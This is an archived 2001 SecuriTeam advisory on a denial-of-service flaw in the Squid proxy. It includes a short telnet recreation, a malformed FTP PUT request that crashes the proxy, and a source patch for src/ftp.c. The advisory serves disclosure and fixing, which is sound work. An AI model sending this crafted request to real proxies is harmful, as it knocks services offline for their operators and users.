[UNIX] Squid Mkdir-only PUT Requests Denial of Service Attack

From: support@securiteam.com
Date: 09/24/01


From: support@securiteam.com
To: list@securiteam.com
Subject: [UNIX] Squid Mkdir-only PUT Requests Denial of Service Attack
Message-Id: <20010924201419.91B0E138C1@mail.der-keiler.de>
Date: Mon, 24 Sep 2001 22:14:19 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

  Squid Mkdir-only PUT Requests Denial of Service Attack
------------------------------------------------------------------------

SUMMARY

A security vulnerability in Squid allows users with access to the Proxy to
cause a Denial of Service against it, by simply issuing a malformed PUT
request.

DETAILS

Vulnerable systems:
Squid version 2.4STABLE2
Squid version 2.4STABLE1
Squid version 2.3STABLE4
(All versions of SQUID are assumed to be vulnerable)

Recreation:
$ telnet proxy:3128
PUT whatever@ftp.example.com/">ftp://whatever:whatever@ftp.example.com/ HTTP/1.1
Content-type: application/octet-stream
Content-length: 0
Pragma: no-cache

Connection closed by foreign host.

Patch:
Index: src/ftp.c
===================================================================
RCS file: /server/cvs-server/squid/squid/src/ftp.c,v
retrieving revision 1.298.2.4
diff -u -w -r1.298.2.4 ftp.c
--- src/ftp.c 2001/01/12 00:51:47 1.298.2.4
+++ src/ftp.c 2001/09/18 13:51:25
@@ -2450,8 +2450,10 @@
         err->ftp.request = xstrdup(ftpState->ctrl.last_command);
     if (ftpState->old_reply)
         err->ftp.reply = xstrdup(ftpState->old_reply);
- else
+ else if (ftpState->ctrl.last_reply)
         err->ftp.reply = xstrdup(ftpState->ctrl.last_reply);
+ else
+ err->ftp.reply = xstrdup("");
     errorAppendEntry(ftpState->entry, err);
     storeBufferFlush(ftpState->entry);
     ftpSendQuit(ftpState);

ADDITIONAL INFORMATION

The information has been provided by <mailto:hazard@francoudi.com>
Vladimir Ivaschenko.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages

  • [Full-disclosure] [ GLSA 200801-05 ] Squid: Denial of Service
    ... Bugs: #201209 ... A Denial of Service vulnerability has been reported in Squid. ... Security is a primary focus of Gentoo Linux and ensuring the ...
    (Full-Disclosure)
  • [ GLSA 200801-05 ] Squid: Denial of Service
    ... Bugs: #201209 ... A Denial of Service vulnerability has been reported in Squid. ... Security is a primary focus of Gentoo Linux and ensuring the ...
    (Bugtraq)
  • Squid Security Update Advisory 2002:3 (fwd)
    ... Subject: Squid Security Update Advisory 2002:3 ... Squid HTTP Proxy are strongly encouraged to upgrade. ... - Security fixes in how Squid parses FTP directory listings into ...
    (FreeBSD-Security)
  • Squid Security Update Advisory 2002:3
    ... Squid HTTP Proxy are strongly encouraged to upgrade. ... Security related changes in the 2.4.STABLE7 release: ... - Security fixes in how Squid parses FTP directory listings into ...
    (Bugtraq)
  • [UNIX] Squid Buffer Overflow (FTP)
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Squid, http://www.squid-cache.org/, is a commonly used web proxy/cache ... A remote attacker might gain root access on the server this way. ... rfc1738_escape_partwhich returns the parameter string URL-escaped ...
    (Securiteam)